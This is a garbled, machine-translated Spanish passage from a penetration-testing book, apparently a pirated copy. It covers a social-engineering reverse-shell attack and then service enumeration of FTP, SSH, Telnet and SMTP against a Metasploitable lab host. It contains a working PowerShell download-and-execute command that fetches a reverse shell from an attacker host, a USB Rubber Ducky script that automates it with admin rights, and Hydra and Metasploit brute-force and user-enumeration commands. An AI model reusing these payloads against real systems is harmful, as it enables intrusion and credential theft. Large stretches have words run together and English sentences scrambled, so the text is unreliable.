Eliminar esta línea: // SetupPORT
Ahora guarde este archivo como .ps1 ; en el caso de nuestro ejemplo, llamemos
ps.reverse.ps1 y luego cópielo en el directorio del servidor web. No olvide iniciar los servicios
del servidor web para que podamos invocarlo desde la máquina host de Windows:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
root@kali:~/.set/reports/powershell#cpps.reverse.ps1/var/www/html/
root@kali:~/.set/reports/powershell#serviceapache2start
EjecuciónPowerShell
A continuación, cambie al host de Windows y ejecute PowerShell en modo administrador.
esto, abra el menú de Windows y busque PowerShell. Luego, haga clic con el botón derecho y
elija Ejecutar como administrador, como se muestra en la Figura 5.7.
Descargar y ejecutar el script PS
Ahora que tiene PowerShell ejecutándose, el siguiente paso es ejecutar un par de
comandos para poner en marcha y ejecutar el shell remoto. Primero, cambie la ejecución
política en PowerShell para que pueda ejecutar comandos con privilegios elevados.
ejecute el comando que descargará el script de Kali VM y ejecutará la unidad
enlasesiónactualmenteabierta:
WindowsPowerShell
Copyright(C)MicrosoftCorporation.Todoslosderechosreservados.
PSC:\Windows\system32>SetÿExecutionPolicyUnrestricted
ExecutionPolicyChangeExecutionPolicyChange
La política de ejecución ayuda a protegerlo de scripts en los que no confía. Cambiar la
política de ejecución podría exponer
a los riesgos de seguridad descritos en el tema de ayuda about_Execution_Policies
https: /go.microsoft.com/fwlink/? LinkID = 135170. ¿Desea cambiar la directiva de
ejecución?
[Y] Sí [A] Sí a todos [N] No [L] No a todos [S] Suspender [?] Ayuda (predeterminado es
"N"): S
PSC:\Windows\system32> IEX(Newÿ
ObjectNet.WebClient).DownloadString('http://10.0.20.140/ps.reverse.ps1')
Cierto
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 5.7 Ejecución de PowerShellinAdminMode
ReverseShell
Si volvemos a nuestro host Kali, deberíamos ver un caparazón inverso en nuestro Netcat
Sesión de terminal de Windows:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
root@kali:~#nc-nlvp443
escuchando[cualquier]443…
conectarse a[10.0.20.140]desde(DESCONOCIDO)[10.0.20.127]50820
MicrosoftWindows[Versión10.0.17763.1217]
(c)2018MicrosoftCorporation.Todoslosderechosreservados.
C:\Windows\sistema32>
ReplicacióndelataqueusandoelUSBRubberDucky Ahora que
vio cómo ejecutar los pasos anteriores en un entorno de entorno, el siguiente paso
es replicar estos eventos usando el USBRubberDucky.
REMReverseShellProgram
DEMORA100
REMAbrir la ventana de ejecución
VENTANASr
DELAY1000
REMExecutePowerShellasAdmin
STRINGpowershell "Start-Processpowershell-verbrunAs"
DELAY100
ENTER
DELAY5000
ALTy
DELAY1000
REMHabilitar secuencia de comandos
de ejecución STRINGEstablecer política de ejecución sin
restricciones ENTER DELAY5000 REMAceptarel mensaje
de aviso ENTER REMConectarse a la máquina atacante
STRINGIEX(New-ObjectNet.WebClient).DownloadString('http://
10.0.20.140/ps.reverse.ps1')
INGRESAR
Resumen
Vio muchas técnicas en este capítulo para los ataques de ingeniería social, pero
¿cómo puede saber cuál es la mejor y cuál elegir para el escenario correcto?
Estas son las pautas generales que debe conocer cuando comience a planificar sus
ataques de ingeniería social:
Primero, asegúrese de que cuando prepare su mensaje de correo electrónico o llamada telefónica,
Canal de Telegram : @IRFaraExam
Machine Translated by Google
son convincentes y lo suficientemente profesionales como para que el usuario final muerda el
anzuelo.
Segundo, el secreto para un ataque de ingeniería social exitoso
es la preparación adecuada.
éxito.
Luego viene la fase de infección. Si desea utilizar un kit de hardware
en sus ataques, asegúrese de utilizar uno bueno como el USB
Rubber Ducky, por ejemplo.
Asyoumayhavesurelynoticed, myfavoritemethodtoinfectWindows
machinesisusingPowerShell.Inarealengagement, generado por
, que
aprenderás
don'tusethepre reverseshellsliketheoneinMetasploit (por
ejemplo,
msfvenom
moreaboutlaterinthisbook), becauseantivirussoftwarewillbeveryhappyto
catchit.Thebestwaytousereverseshellsistouseonethatyoudeveloped
yourselfusingyourfavoriteprogramminglanguagesuchasPowerShell, Python,
C ++, orJava; intheend, shellsintheupcomingchapters
it'syourchoice.Youwilllearnmoreaboutreverse.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
CAPÍTULO 6
Fase de enumeración avanzada
. Inthischapter, youwilllearnhowtohandletheenumerationphaseina
penetrationtestingengagement.Enumerationinourdiscussionmeanscollecting
thenecessaryinformationthatwillallowustoexploitthespecificservice (. Por ejemplo, FTP, SSH, etc)
Porejemplo, enableustorevealvalidcredentials theSSHservicebrute-forceenumerationwill,
sowecanuseittoexploitandlogintothe thenecessaryinformationsuchasremoteusers
remotehost.AnothercommonpracticeistouseNmapscriptssowecangather, serviceversions,
remotecode executionexploitation, andmuchmore.Thischapterwon'tcoveralltheservices,
butthemostcrucialpartisthatyouunderstandtheconceptoftheenumeration
enumerationofthefollowingservices processsothatyoucanapplyittoanytypeofservice.Thischaptercoversthe:
FTP
SSH
Telnet
SMTP
POP3 e IMAP4
Microsoft SQL
OracleDatabaseServerOracleDatabaseServer
mysql
DockerEngine
Jenkins
HTTP/S
PDR
VNC
PYME
SNMP
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Protocolos de transferencia
Previouslyinthisbook, theservicesoneachhost.Atthisstage
youlearnedyouhowtoscanthenetworkandidentify, youknowhowtouseNmaptogetthe
jobdone.Afterscanningeachhost, vulnerabilitiestoexploit.Forexample
weneedtostartinvestigatingpotential, anfitrión youfoundthatyourtargetisaLinux,
andit'susingSSHasaservicetoallowremoteuserstoauthenticateinto
thehost.Doyouknowwhattodonext? Intheupcomingsections, you'llseethe
logicalstructurethatwillallowyoutoenumerateeachpopularservice.
FTP (Puerto 21)
El Protocolo de transferencia de archivos (FTP) se usa para transferir archivos entre un cliente y un
servidor remoto. Este último se usa para almacenar archivos para que pueda acceder a ellos de forma remota.
A veces, las aplicaciones web utilizan FTP para sincronizar el código fuente alojado (p.
ej., HTML, JavaScript, etc.). Dos implementaciones seguras de FTP son FTP y SFTP.
Estas son las debilidades comunes en el protocolo FTP:
Las credenciales de inicio de sesión se envían en texto sin cifrar.
La transmisión de archivos no está cifrada.
Escenarios de explotación para un servidor FTP
Es importante entender en esta etapa cómo la explotación buscará este servicio (usted
necesita saber de antemano lo que está buscando, o simplemente está escaneando con
los ojos cerrados). Un servidor FTP puede ser explotado de diferentes maneras. Estos son
los escenarios comunes que encontrará durante su participación:
Credenciales de fuerza bruta
Olfateando credenciales de texto sin cifrar
Rastreo de archivos no cifrados
Acceso anónimo
Encontrar un exploit público asociado con la versión del servidor FTP de destino (en
Canal de Telegram : @IRFaraExam
Machine Translated by Google
en el capítulo siguiente, aprenderá a buscar exploits públicos)
Flujo de trabajo de enumeración
A lo largo de este capítulo, obtendrá información sobre cada enumeración de servicios
flujo de trabajo a través de ejemplos reales (un ejemplo vale un billón de palabras).
ejemplo, el host de destino es una VM vulnerable a Linux y se llama Metaexplotable
versión 2; puede obtener una copia de VM de este host desde
information.rapid7.com/download-metasploitable-2017.html .
Escaneo de servicio
Enelprimerpaso,ejecutaremosexploracióndeserviciosbásicosenNmapaparaobtenerunaideadelos
servidor FTP de destino:
root@kali:~# nmapÿsVÿOÿsCÿp21ÿT5metasploitable.kcorp.local
ComenzandoNmap7.80(https://nmap.org)a las 2020-06-0414:33EDT
Nmapscan informa sobre la explotación.kcorp.local(172.16.0.101)
Hostsup (0.00062 latencia).
VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO
21/tcpopenftpvsftpd2.3.4
|_ftp-anon:AnónimoFTPloginallowed(FTPcode230)
|ftp-syst:|STAT:|
Estado
servidor
del
FTP:
|Conectado a172.16.0.102
|Iniciado sesión en ftp
|TIPO:ASCII
|Ningún límite de ancho de banda de sesión
|El tiempo de espera de la sesión es de 300 segundos
|La conexión de control es texto sin formato
|Las conexiones de datos serán texto sin formato
|vsFTPd2.3.4-seguro,rápido,estable
| _Endofstatus
Dirección MAC: 00: 0C: 29: D2: 1A: B1 (VMware)
Advertencia: Los resultados de OSScan pueden no ser confiables porque no pudimos
encontrar al menos 1 puerto abierto y 1 cerrado
Tipo de dispositivo: propósito general
Ejecutando:Linux2.6.X
OSCPE:cpe:/o:linux:linux_kernel:2.6
Detalles del sistema operativo: Linux 2.6.9-2.6.33
Distancia de red: 1 salto
Información de servicio: SO: Unix
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Detección de SO y servicio realizada. Informe cualquier resultado incorrecto en https://
nmap.org/submit/.
Nmapdone: 1 dirección IP (1 host up) escaneada en 1,93 segundos
De acuerdo con los resultados del escaneo anterior, hemos identificado lo siguiente (vamos a
validar la información durante la fase de explotación):
Podemos iniciar sesión en el servidor FTP con credenciales anónimas.
LaversióndelservidorFTPesvsftpd2.3.4.
Tenemos un reconocimiento de que la comunicación está en texto claro.
AdvancedScriptingScanwithNmap
El análisis básico del script ÿsC ( técnicamente se llama el script predeterminado) no analiza
para todo. En este paso, incluiremos todas las funcionalidades de escaneo de scripts
en Nmap para el servicio FTP utilizando la opción –script =ftp*.
preguntándose: "¿Por qué no ejecuté este escaneo desde el principio?"
y aprender acerca de su tiempo de paso a paso objetivo, le dará un ángulo diferente
y darle la capacidad de tomar mejores decisiones. (La prueba de penetración no se trata de
ejecutando escáneres; es la misma metodología.)
root@kali:~#nmapÿsVÿOÿÿscript=ftp*ÿp21ÿ
T5metasploitable.kcorp.local
ComenzandoNmap7.80(https://nmap.org)a las 2020-06-0414:41EDT
NSE:[ftp-bounce]PORTresponse:500IllegalPORTcommand.
NSE: [ftp-brute] nombres de usuario: Límite de tiempo 3m00 excedido.
NSE: [ftp-brute] nombres de usuario: Límite de tiempo 3m00 excedido.
NSE: [ftp-brute] contraseñas: Límite de tiempo 3m00 excedido.
Nmapscan informa sobre la explotación.kcorp.local(172.16.0.101)
Hostsup (0.00031 latencia).
VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO
21/tcpopenftpvsftpd2.3.4
|_ftp-anon:AnónimoFTPloginallowed(FTPcode230)
|ftp-brute:|
Cuentas:|
usuario:usuarioÿ
Credenciales válidas
|_Estadísticas: 1166 conjeturas realizadas en 181 segundos, promedio de ps: 6.3
|ftp-syst:|STAT:|
Estado
servidor
del
FTP:
|Conectado a172.16.0.102
Canal de Telegram : @IRFaraExam
Machine Translated by Google
|Iniciado sesión en ftp
|TIPO:ASCII
|Ningún límite de ancho de banda de sesión
|El tiempo de espera de la sesión es de 300 segundos
|La conexión de control es texto sin formato
|Las conexiones de datos serán texto sin formato
|vsFTPd2.3.4-seguro,rápido,estable
| _Endofstatus
|ftp-vsftpd-puerta trasera:
|VULNERABLES:
|vsFTPdversión2.3.4puerta trasera
Estado: VULNERABLE (explotable)
ID:BID:48539CVE:CVE-2011-2523
vsFTPdversion2.3.4backdoor, esto se informó en 2011|||07-04.
Fecha de divulgación:2011-07-03
Explotar resultados:
|||Comando Shell:id
|Resultados:uid=0(raíz)gid=0(raíz)
|Referencias:
|http://scarybeastsecurity.blogspot.com/2011/07/alert vsftpd-download-backdoored.html
|https://github.com/rapid7/metasploit framework/blob/master/
modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|
2523
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-
|
_[…]
https://www.securityfocus.com/bid/48539
Los siguientes son los sorprendentes resultados encontrados en el escaneo de secuencias de comandos anterior (nosotros
los explotará en el siguiente capítulo):
El reconocimiento del inicio de sesión anónimo (ya lo encontramos en el primer
escanear).
La fuerza bruta fue capaz de encontrar las credenciales de la cuenta.
Encontramos que la versión del servidor puede ser explotada.
Más técnicas de fuerza bruta
Si desea realizar un análisis de fuerza bruta adicional, puede utilizar Hydra para obtener
el trabajo hecho:
root@kali:~# hydraÿt10ÿL/opt/SecLists/Usernames/topÿusernamesÿ
shortlist.txt-P/opt/SecLists/Passwords/xato-net-10-million-
Canal de Telegram : @IRFaraExam
Machine Translated by Google
contraseñasÿ1000.txtftp://metasploitable.KCorp.local
Hydrav9.0(c)2019byvanHauser/THC-Favor de no usar en organizaciones militares
o de servicios secretos, o para fines ilegales.
Hydra(https://github.com/vanhauser-thc/thc-hydra)a partir de2020-06-0420:07:27
[ADVERTENCIA]Restorefile(tiene10segundosparaabortar...(useoptionItoskipwaiting))desdeunasesiónanteriorencontrada,paraevitarsobrescribir,./hydra.restore
[ DATA]max10tasksper1server,overall10tasks,17000loginttrys(l:17/p:1000),~1700triespertask
[DATA]attackingftp://metasploitable.KCorp.local:21/ [STATUS]190.00tries/
min,190triesin00:01h,16810todoin01:29h, 10activo [21]
[ftp]host:metasploitable.KCorp.locallogin:ftppassword:123456789 […]
El comando Hydra utiliza las siguientes opciones:
t10 : Ejecutar con 10 subprocesos paralelos
L :rutaalarchivodeusuarios
P :Rutaalarchivodecontraseñas
Enelpróximocapítulo,repasaremoslafasedeexplotación(lainformaciónenestecapítuloesunaentradaparalafase
SSH (Puerto 22)
Ya aprendimos en el capítulo anterior cómo funciona el protocolo SSH. Si no está familiarizado
con la diferencia entre las claves públicas y las claves privadas y cómo se usan en el protocolo SSH,
vuelva al primer capítulo de este libro donde cubrí este tema con ejemplos.
Escenarios de explotación para un servidor SSH
Un servidor SSH se puede explotar de diferentes maneras; estos son los escenarios
comunes que debería estar buscando (nuevamente, necesita saber cómo será la explotación
del servicio):
Credenciales de fuerza bruta (este es nuestro objetivo principal durante la fase de
enumeración).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Agregar una clave pública al archivo de claves autorizadas en el servidor (pero necesitará
un shell para poder escribir en ese archivo; en otras palabras, primero deberá tener acceso
al host).
SSH se puede usar para activar otro host en la red. Esto se puede lograr si un host
está comprometido y el atacante tiene acceso a las claves públicas y privadas en el
host de la víctima (girar es una tarea posterior a la explotación).
Encuentre un exploit público asociado con la versión del servidor Telnet de destino.
Si el atacante puede leer el archivo de claves autorizadas de un algoritmo DSA (no
RSA), entonces el atacante puede usar las claves privadas públicas generadas e intentar
hacerlas coincidir con la clave pública dentro del archivo de claves autorizadas . (Primero
necesitará un shell remoto o leer el archivo usando la vulnerabilidad de "inclusión de
archivos locales" de una aplicación web. Trabajaremos en LFI en los próximos capítulos).
$ssh-i[archivo de clave privada][usuario@ftp_server_ip]
Puede leer un artículo detallado sobre este último ataque aquí:
https://github.com/g0tmi1k/debian-ssh
AdvancedScriptingScanwithNmap
Ejecutemos una tarea de enumeración rápida para obtener información sobre el servidor SSH
en el host de Metasploitable:
root@kali:~#nmapÿsVÿOÿsCÿp22ÿT5metasploitable.kcorp.local InicioNmap7.80(https://
nmap.org)en2020-06-0510:55EDT Nmapscanreportformetasploitable.kcorp.local(172.16.0.101)
Hostsup (0.00036 latencia).
PORTSTATESERVICEVERSION
22/tcpopensshOpenSSH4.7p1Debian8ubuntu1(protocolo 2.0) |ssh-hostkey:|
102460:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd(DSA ) |
_204856:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3(RSA)
Dirección MAC: 00: 0C: 29: D2: 1A: B1 (VMware)
Advertencia: Los resultados de OSScan pueden no ser confiables porque no pudimos
encontrar al menos 1 puerto abierto y 1 puerto cerrado Tipo de dispositivo: propósito general
En ejecución: Linux 2.6.X […]
Canal de Telegram : @IRFaraExam
Machine Translated by Google
La única información en los resultados del escaneo anterior es la versión del control remoto
servidor SSH.
A continuación, tenemos que ejecutar el análisis completo del script con Nmap para ver si podemos detectar
más problemas con el servidor SSH de destino:
root@kali:~# nmapÿsVÿOÿÿscript=ssh*ÿp22ÿ
T5metasploitable.kcorp.local
A partir de Nmap7.80(https://nmap.org) a las 2020-06-0511:00EDT
[…]
Nmapscan informa sobre la explotación.kcorp.local(172.16.0.101)
Hostsup (0.00075 latencia).
VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO
22/tcpopensshOpenSSH4.7p1Debian8ubuntu1(protocolo 2.0)
|ssh-auth-methods:|
Métodos de autenticación admitidos:
|clavepublica
|_contraseña
|ssh-brute:|
Cuentas:|
usuario:usuarioÿ
Credenciales válidas
|_Estadísticas: 204 conjeturas realizadas en 181 segundos, promedio de fps: 1,2
|ssh-hostkey:|
102460:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd(DSA)
|_204856:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3(RSA)
|ssh-publickey-aceptance:|
_AcceptedPublicKeys:Nopublickeysaccepted
|_ssh-run: Error al especificar las credenciales y el comando para ejecutar.
[…]
Los resultados anteriores muestran que Nmap encontró una credencial válida para autenticar
de forma remota en el servidor SSH. Recuerde que este hallazgo es significativo porque,
con esas credenciales, podemos tener acceso remoto al servidor de destino.
SSH de fuerza bruta con Hydra
Al igual que hicimos en el FTP de fuerza bruta, podemos usar Hydra para SS Haswell.
use las mismas opciones que usamos para el escenario de FTP:
root@kali:~# hydraÿt10ÿL/opt/SecLists/Usernames/topÿusernamesÿ
shortlist.txt-P/opt/SecLists/Passwords/xato-net-10-millioncontraseñasÿ1000.txtssh://metasploitable.KCorp.local
Hydrav9.0(c)2019byvanHauser/THC: no lo utilice en organizaciones militares o de
servicios secretos, ni para fines ilegales.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Hydra (https://github.com/vanhauser-thc/thc-hydra) a partir de 2020-06-0511:11:19
[ADVERTENCIA] Muchas configuraciones de SSH limitan el número de tareas
paralelas, se recomienda reducirlas: use-t4 [DATA]
max10tasksper1server,overall10tasks,17000logentries(l:17/ p:1000),~1700intentos
por tarea [DATOS]atacandosh://metasploitable.KCorp.local:22/ [ESTADO]130.00intentos/
min,130intentosen00:01 h, 16870todo en 02:10 h, 10 activo 1 de 1 objetivo completado,
0 contraseñas válidas encontradas Hydra (https://github. com/vanhauser-thc/thchydra)finalizadoen2020-06-0514:34:08
Desafortunadamente, el resultado del escaneo anterior no encontró ningún resultado. En la siguiente
sección, "Técnicas avanzadas de fuerza bruta", aprenderá cómo ejecutar ataques de fuerza bruta como un
campeón.
Avanzada bruta ForcingTechniques
scantechnique.Inthepreviousexample Nowit'stimetostartusingMetasploitsothatwecanleverageourbrute
fuerza, credentials.Infact yousawthatwedidn'tfindany, wetriedtorunablindbrute-forceattackagainstmytarget
host.Inthisexample, wewilluseMetasploittoscanforvalidusernamesonthe Metasploitablehostfirst; entonces,
wewillattackthosespecificusersinsteadofjust guessing.TorunMetasploit, wewilltype msfconsole
intoourterminalwindow:
root@kali:~#msfconsole
Después de eso, se carga la ventana de Metasploit y realizaremos las siguientes acciones:
1. Utilice el módulo de enumeración llamado ssh_enumusers .
2. Identifique la dirección IP de Metaploitable.
3.EstablezcaelnúmerodepuertoSSHremoto.
4. Identifique la ruta al archivo de diccionario del usuario.
5. Establezca el número de ejecución de subprocesos paralelos en 25.
6.Finalmente, ejecútelo.
msf5>useauxiliary/scanner/ssh/ssh_enumusers
msf5auxiliary(scanner/ssh/ssh_enumusers)>setRHOSTS172.16.0.101 msf5auxiliary(scanner/
ssh/ssh_enumusers)>setUSER_FILE
Canal de Telegram : @IRFaraExam
Machine Translated by Google
/usr/share/wordlists/metasploit/namelist.txt
msf5auxiliary(scanner/ssh/ssh_enumusers)>setPORT22
msf5auxiliary(scanner/ssh/ssh_enumusers)>setTHREADS25
msf5auxiliary(scanner/ssh/ssh_enumusers)>run
[*]172.16.0.101:22-SSH-Usingmalformedpackettechnique [*]172.16.0.101:22-SSHCheckingforfalsepositives [*]172.16.0.101:22-SSH-Startingscan [+]172.16.0.101:22SSH-User'backup 'encontrado [+]172.16.0.101:22-SSH-Usuario'dhcp'encontrado
[+]172.16.0.101:22-SSH-Usuario'ftp'encontrado [+]172.16.0.101:22-SSHUsuario'juegos'encontrado [+]172.16.0.101:22-SSH-Usuario'irc'encontrado
[+]172.16.0.101:22-SSH-Usuario'mail'encontrado [+]172.16.0.101:22-SSHUsuario'mysql'encontrado [+] ]172.16.0.101:22-SSH-User'news'found
[+]172.16.0.101:22-SSH-User'proxy'found [+]172.16.0.101:22-SSH-User'root'found
[+]172.16 .0.101:22-SSH-User'service'found [+]172.16.0.101:22-SSH-User'snmp'found
[+]172.16.0.101:22-SSH-User'syslog'found [+]172.16.0.101 :22-SSH-User'user'found
[*]Ejecución de módulo auxiliar completada msf5auxiliary(scanner/ssh/
ssh_enumusers)>
Se han encontrado muchos nombres de usuario en los resultados de salida anteriores. A continuación,
guardaremos todos los nombres de usuario en un archivo users.txt y almacenaremos el archivo en el directorio
de inicio raíz.
Tome nota de que estamos usando un archivo de diccionario de contraseñas más pequeño en el siguiente
ejemplo para terminar más rápido. Finalmente, estamos usando la opción ÿensr por las siguientes razones :
"n" significa contraseña nula (la contraseña está vacía).
"s" representa la contraseña de inicio de sesión (nombre de usuario =
contraseña). "r" significa inicio de sesión inverso (por ejemplo, si el nombre de usuario es
root, entonces la contraseña será to o ).
root@kali:~#hydraÿt10ÿensrÿL/root/users.txtÿP/opt/SecLists/Passwords/
darkweb2017ÿtop100.txtssh://metasploitable.KCorp.local[…] [22][ssh]
host:metasploitable.KCorp.locallogin:contraseña de servicio:servicio [22]
[ssh]host:metasploitable.KCorp.locallogin:contraseña de usuario:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
usuario
1 de 1 objetivos completados con éxito, 2 contraseñas válidas encontradas
Enelsiguientecapítulo,explotaremoslosresultadosqueencontramosanteriormente.Además, profundizaremos
en cada escenario de explotación de SSH.
Telnet (Puerto 23)
Telnet es una forma antigua de conectarse a un host remoto usando el protocolo TCP en el puerto 23
para manipular el host usando la línea de comando (como SSH). A diferencia de SSH, la comunicación
Telnet no es segura y se transmite en texto claro. Este protocolo se usaba comúnmente en dispositivos
de red heredados y también en sistemas operativos Windows.
Estas son las debilidades comunes en Telnet:
Las credenciales de inicio de sesión se envían en texto sin cifrar.
El texto de la línea de comandos no está cifrado.
Escenarios de explotación para el servidor Telnet Un servidor
Telnet se puede explotar de diferentes maneras. Estos son los escenarios comunes que
encontrará durante su compromiso:
Credenciales de fuerza bruta
Olfateando credenciales de texto sin cifrar
Husmear en busca de líneas de comando no cifradas
Búsqueda de un exploit público asociado con la versión del servidor Telnet de destino
Flujo de trabajo de enumeración
Hay tres tareas que ejecutaremos para este flujo de trabajo de numeración avanzada:
ServiciosbásicoscanusandoNmap
Exploración avanzada de secuencias de comandos con Nmap
Credenciales de fuerza bruta usando Hydra
Escaneo de servicio
Canal de Telegram : @IRFaraExam
Machine Translated by Google
En el primer paso, ejecutaremos análisis de servicios básicos en Nmap para obtener una idea del servidor
explotable Telnet Metas de destino:
root@kali:~# nmapÿsVÿOÿsCÿp23ÿT5metasploitable.kcorp.local InicioNmap7.80
(https://nmap.org)en2020-06-0813:39EDT
Nmapscanreportformetasploitable.kcorp.local(172.16.0.101)
Hostsup (0.00048 latencia).
PORTSTATESERVICEVERSION
23 / tcpopentelnetLinuxtelnetd MACAddress:
00: 0C: 29: D2: 1A: B1 (VMware)
Advertencia: Los resultados de OSScan pueden no ser confiables porque no pudimos
encontrar al menos 1 puerto abierto y 1 cerrado Tipo de dispositivo: propósito general En
ejecución: Linux 2.6.X OSCPE: cpe:/o: linux: linux_kernel: 2.6 Detalles del sistema operativo:
Linux 2.6.9-2.6.33 Distancia de red: 1 salto Información de servicio: SO: Linux; CPE: cpe: / o:
linux: linux_kernel […]
Nmapdone: 1 dirección IP (1 host up) escaneada en 8,98 segundos
AdvancedScriptingScan
El siguiente paso es buscar más debilidades usando el escaneo completo de secuencias de comandos
Telnet de Nmap:
root@kali:~# nmapÿsVÿOÿÿscript=telnet*ÿp23ÿ
T5metasploitable.kcorp.local […]
PORTSTATESERVICEVERSION 23/
tcpopentelnetLinuxtelnetd |telnet-brute:|
Accounts:|user:userÿValidcredentials |
_Statistics:Realizado1227conjeturasen184segundos,averagetps:6.6 |telnet-encryption:|
_Telnetserverdoesnotsupportencryption […]
ServiceInfo: SO: Linux; CPE: cpe: / o: linux: linux_kernel […]
Nmapdone: 1 dirección IP (1 host up) escaneada en 185,20 segundos
De acuerdo con los resultados de salida anteriores, concluimos lo siguiente:
Podemos iniciar sesión de forma remota en el servidor Telnet con nombre de usuario = usuario y
Canal de Telegram : @IRFaraExam
Machine Translated by Google
contraseña=usuario.
Recibimos el reconocimiento de que la comunicación no está cifrada.
Fuerza bruta con Hydra
Solo para verificar dos veces, ejecutaremos Hydra para ver si podemos encontrar más credenciales que
Nmap:
root@kali:~# hydraÿt10ÿensrÿL/opt/SecLists/Usernames/topÿ usernamesÿ
shortlist.txtÿP/opt/SecLists/Passwords/darkweb2017ÿ top100.txttelnet://
metasploitable.KCorp.local [ …] [23]
[telnet]host:metasploitable.KCorp.locallogin:usuariocontraseña:
usuario
Hydra encontró la misma cuenta de credenciales.
Protocolos de correo electrónico
Hay tres protocolos de correo electrónico que necesitará comprender para sus fases de enumeración
y explotación:
SMTP: el protocolo simple de transferencia de correo se utiliza para enviar correos electrónicos y utiliza
el puerto TCP 25. SMTP se puede utilizar a través de SSL mediante el puerto 465.
POP3: se utiliza el Protocolo de oficina de correos V3 para recibir correos electrónicos y se utiliza el
puerto 110. POP3 sobre SSL utiliza el puerto 995.
IMAP4: El protocolo de acceso a mensajes de Internet V4 se usa para almacenar y administrar correos
electrónicos en el servidor, y se usa el puerto 143. IMAP4 sobre SSL usa el puerto 993.
SMTP (Puerto 25)
Usaremos el servidor vulnerable Metasploitable para este ejemplo. Pero antes de continuar, tratemos de
entender lo que estamos buscando en esta etapa:
Compruebe si el servidor admite los comandos VRFY para poder enumerar
usuarios
Compruebe si existe un exploit público para el servidor de destino. (Discutiremos este punto en el Capítulo
7, “Fase de explotación”).
NmapBasicEnumerationNmapBasicEnumeration
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Usaré el comando de numeración básica de Nmap para evaluar el host de destino:
root@kali:~# nmapÿsVÿOÿsCÿp25ÿT5metasploitable.kcorp.local
ComenzandoNmap7.80(https://nmap.org)a las 2020-06-0914:25EDT
Nmapscan informa sobre la explotación.kcorp.local(172.16.0.101)
Hostsup (0.00033 latencia).
VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO
25/tcpopensmtpPostfixsmtpd
|_smtp-
commands:metasploitable.localdomain,PIPELINEING,SIZE10240000,VRFY,ETRN,STARTTLS,ENHANCEDS
En los resultados anteriores, tenemos dos hallazgos:
Descubrimos que el servidor admite el comando VRFY . Este comando
permitirnos enumerar a los usuarios en el servidor.
Contamos con la versión del servidor de correo electrónico SMT.
Enumeración avanzada de Nmap
A continuación, usaremos la potencia de Nmap y sus características avanzadas para obtener aún más
información:
root@kali:~#nmap-sV-O-p25--script=smtp*-T5metasploitable.kcorp.local
ComenzandoNmap7.80(https://nmap.org)a las 2020-06-0914:38EDT
Nmapscan informa sobre la explotación.kcorp.local(172.16.0.101)
Hostsup (0.00050 latencia).
VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO
25/tcpopensmtpPostfixsmtpd
|_smtp-
commands:metasploitable.localdomain,PIPELINING,SIZE10240000,VRFY,ETRN,STARTTLS,ENHANCEDST
|_smtp-open-relay:El servidor no parece ser un relé abierto, todas las pruebas fallaron
|smtp-vuln-cve2010-4344:|
_TheSMTPserverisnotExim:NOTVULNERABLE
[…]
Hay dos cosas a tener en cuenta en los resultados del análisis anterior:
Nmap no pudo listar a los usuarios en el servidor. (Nmap usó el RCPT
método para enumerar usuarios).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
El servidor no es vulnerable a las vulnerabilidades mtp-vuln-cve2010-4344.
EnumeratingUsers
En los escaneos de Nmaps anteriores, no estábamos en la mesa para enumerar a los usuarios
en el servidor, y me alegra ver eso. ¡No cuente siempre con un escáner para hacer el trabajo!
¿Recuerda que aprendió que el comando VRFY le permitirá enumerar usuarios? Pongámoslo
en práctica. Usaremos netcat para conectarnos al servidor y buscar dos usuarios:
Usuario gus , que no existe
Usuario raíz, que existe en el servidor
root@kali:~# nc172.16.0.10125
220metasploitable.localdomainESMTPPostfix(Ubuntu)
VRFYgus
5505.1.1<gus>: Dirección del destinatario rechazada: Usuario desconocido en la tabla de
destinatario local VRFYroot 2522.0.0root ^C root@kali:~#
La metodología anterior es manual. Es un juego de adivinanzas y no es profesional.
Aprendió del ejemplo anterior cómo funciona. Pero para enumerar realmente a los usuarios,
necesitamos usar un escaneo automático .
msf5> useauxiliary/scanner/smtp/smtp_enum
msf5auxiliary(scanner/smtp/smtp_enum) >setRHOSTS172.16.0.101
RHOSTS=>172.16.0.101 msf5auxiliary(scanner/smtp/smtp_enum)>ejecutar
[*]172.16.5.101:26.16-101 0.101:25Banner:220metasploitable.localdomainESMTPPostfix(Ubuntu)
[+]172.16.0.101:25-172.16.0.101:25Usuarios
encontrados:,backup,bin,daemon,distccd,ftp,games,gnats,irc,libuuid,list,lp,mail,
man,mysql,noticias,nadie,postfix,postgres,postmaster,proxy,servicio,sshd,sync,sys,syslog,user,uucp,wwwÿ
data [*]172.16.0.101:25-Scanned1of1hosts (100%
completo)
[*]Ejecución del módulo auxiliar completada
msf5auxiliary(scanner/smtp/smtp_enum)>
Nuevamente, ejecutar las herramientas automatizadas no nos dio un resultado preciso. Si observa
detenidamente el ejemplo manual anterior, el comando VRFY respondió que el
Canal de Telegram : @IRFaraExam
Machine Translated by Google
existe un usuario raíz pero el módulo smtp_enum no mostró a ese
usuario. Aquí es donde los lenguajes de programación resultan útiles en
este nivel. En el siguiente ejemplo, aprenderá a desarrollar su propio script
utilizando Python.
importsocket
importsys tiempo
de importación
defprint_welcome():
print("\r\nBienvenidoalarenumeracióndeusuariosSMTPsuperscan\r\n")
print("============================== =================")
defenumerate_smtp(dirección_ip):
#Pathtotheusersdictionaryfile users_file_path="/usr/
share/metasploit
marco/datos/listas de palabras/unix_users.txt"
